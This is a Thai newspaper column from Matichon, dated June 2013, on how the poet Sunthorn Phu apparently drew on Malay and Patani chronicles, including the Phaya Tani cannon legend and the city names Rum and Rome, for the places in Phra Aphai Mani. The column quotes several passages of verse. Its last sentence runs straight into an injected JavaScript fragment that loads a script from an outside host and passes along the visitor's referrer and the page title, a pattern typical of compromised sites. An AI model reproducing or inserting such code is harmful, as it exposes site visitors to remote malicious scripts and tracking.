มติชนรายวัน ฉบับประจำวันพฤหัสบดีที่ 13 มิถุนายน 2556

 

          สุนทรภู่ น่าจะรู้เรื่องดีเกี่ยวกับตำนานพงศาวดารเมืองปัตตานี และเมืองมลายูมุสลิมแถบทะเลอันดามัน จากได้ยินได้ฟังคำบอกเล่า และอ่านสมุดไทยในหอหลวง

          ถ้าตรวจสอบเทียบเคียงดีๆ จะพบว่าพระอภัยมณีมีโครงเรื่องหลายตอนค่อนไปทางตำนานมลายู เพราะทั้งเรื่องมีฉากใหญ่ๆวนเวียนอยู่แถบนี้ (ไม่เกี่ยวกับอ่าวไทย เมืองระยอง ตามที่เชื่อถือกันมาช้านาน)

          พญาตานี ปืนใหญ่ของเมืองปัตตานี แต่“อยู่ถึงเมืองตานีเขาตีมา” เมื่อครั้ง ร.1 พ.ศ. 2329 ปีที่สุนทรภู่เกิด(ในวังหลัง ปากคลองบางกอกน้อย) ปัจจุบันตั้งไว้หน้ากระทรวงกลาโหม (ซึ่งอยู่ตรงข้ามวัดพระแก้ว และวังหลวง) ในกรุงเทพฯ

          เป็นที่รับรู้กันว่าพญาตานีสร้างขึ้นด้วยเทคโนโลยีของจีน โดยช่างจีนมุสลิม

          แต่มีตำนานฉบับหนึ่งแปลกไป เพราะระบุว่าผู้หล่อปืนใหญ่พญาตานีเป็น“นายช่างชาวโรมัน” แต่ชื่อเป็นแขกว่า“อับดุลซามัด” ซึ่งทำให้เข้าใจว่าชื่อโรมันในที่นี้ คือเมืองหรุ่มในตำนานพงศาวดารมลายูอื่นๆ เช่น

          ต้นตระกูลเมืองไทรบุรี เริ่มจากพระองค์มหาวังศา มาแต่เมืองโรม เป็นผู้ตั้งเมืองไทรบุรี (อยู่ในพงศาวดารเมืองไทรบุรี)

          เมืองโรม ตรงกับเมืองหรุ่ม (มีบอกไว้ในตำนานมะโรงมหาวงศ์ ซึ่งเป็นพงศาวดารเมืองไทรบุรีอีกฉบับหนึ่ง) ว่าเจ้ากรุงหรุ่มแต่งสำเภาให้โอรสไปวิวาห์กับธิดาเจ้ากรุงจีน

          เมืองหรุ่ม มีชื่อในโคลงภาพนานาชาติที่วัดโพธิ์ หมายถึงตุรกีทุกวันนี้ ซึ่งเคยเป็นที่ตั้งโรมันตะวันออก เลยเรียกด้วยลิ้นอย่างไทยๆว่า เมืองโรม หรือเมืองหรุ่ม

          (หรุ่ม เป็นชื่อเพลงดนตรีไทยเพลงหนึ่ง สำเนียงแขกปนฝรั่ง บางทีสะกด“อรุ่ม” และเป็นชื่อขนมของชาวมุสลิมด้วย)

          สุนทรภู่แต่งพระอภัยมณีมีชื่อเมืองหนึ่งว่า โรมวิสัย ตอนนางเสาวคนธ์แล่นสำเภาขึ้นไปปากน้ำคงคา และเมืองมีชื่อว่าหุโลมซึ่งเป็นต้นทางไปเมืองโรมวิสัย ว่า

          จนเข้าเขตพาราวาหุโลม        ทางขึ้นโรมวิสัยเมืองใหญ่พราหมณ์

          กาญจนาคพันธุ์ อธิบาย(ในหนังสือภูมิศาสตร์สุนทรภู่)ว่าโรมวิสัยในพระอภัยมณีของสุนทรภู่ ไม่ใช่ตุรกี แต่หมายถึงบ้านเมืองย่านอ่าวเบงกอล อยู่ชายทะเลมหาสมุทรอินเดีย ฝั่งตะวันออกของอินเดีย ตรงข้ามฝั่งตะวันตกของไทยแถบภูเก็ต, พังงา, ระนอง

          สุนทรภู่ น่าจะได้ชื่อโรมวิสัย เมืองหรุ่ม เมืองโรม และเมืองแขกมุสลิมต่างๆ จากคำบอกเล่าที่ได้ยินได้ฟังครั้งนั้น และจากการอ่านตำนานพงศาวดารที่เกี่ยวข้องกับเมืองแขก ทั้งแขกพราหมณ์ แขกมุสลิม และแขกมลายู

          ดูพยานได้ในตัวบทพระอภัยมณี ว่า

          มี“สานุศิษย์”เป็นชาวหลายภาษานานาชาติ ยกไปช่วยรบป้องกันเมืองผลึก ครั้นเสร็จศึก ก็แยกย้ายกลับบ้านเมืองของตนซึ่งมีทั้งจีน, ฝรั่ง, ฯลฯ โดยเฉพาะแขก จะคัดกลอนมาดังนี้

          ข้างพวกแขกแยกเยื้องเข้าเมืองเทศ             อรุมเขตคุ้งสุหรัดปัตหนา

          ไปปะหังปังกะเราะเกาะชวา                      มะละกากะเลหวังตรังกานู

          วิลันดามาแหลมโล้บ้านข้าม                      เข้าคุ้งฉลามแหลมเงาะเกาะราหู

          อัดแจจามข้ามหน้ามลายู                          พวกญวนอยู่เวียดนามก็ข้ามไป

          ข้างพวกพราหมณ์ข้ามไปเมืองสาวถี            เวสาลีหุโลมโรมวิสัย

          กบิลพัสดุ์โรมพัฒน์ถัดถัดไป                      เมืองอภัยสาลีเป็นที่พราหมณ์

          อีกตอนหนึ่ง ว่ามังคลาเป็นโอรสพระอภัยมณีกับนางละเวง เมื่อได้ขึ้นครองเมืองลังกา ก็ให้คนออกเที่ยวเสาะหาผู้มีวิชาความรู้ยังเมืองต่างๆ มากมายหลายเมืองด้วยกัน มีชื่อตามกลอนดังนี้

          ฝ่ายข้าเฝ้าเจ้าลังกาปลอมพานิช                 ไปทุกทิศจนถึงยักษ์มักกะสัน

          เที่ยวหาผู้รู้วิชาสารพัน                             เมืองสุตัน เมืองชลามะดาวิล

          เมืองฉ่ามะหรุ่มอุ่มไบ่ไสมโข                      ไอคุปโต โกสัมพี ระดีระดิ่น

          กะนาอัน บันดระ เมืองกะริน                     เมืองกบิลพัสดุ์ เมืองมัดชนะ

          เมืองมะหุต กุสสะราต วิลาสละหม่าน           กริบสว่าน เมืองสังกัส หัสสละ

          เมืองโกบิล สินธุ์สเล เมืองเอละ                 เมืองกุเหร่า มะเกามะกะ เมืองละวน

          ถ้าอยากรู้ว่าชื่อเหล่านี้เป็นเมืองแขกมลายูตรงไหนบ้าง? ต้องอ่านคำอธิบายของกาญจนาคพันธุ์ในหนังสือภูมิศาสตร์สุนทรภู่ เล่มเดียวเท่านั้นs.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;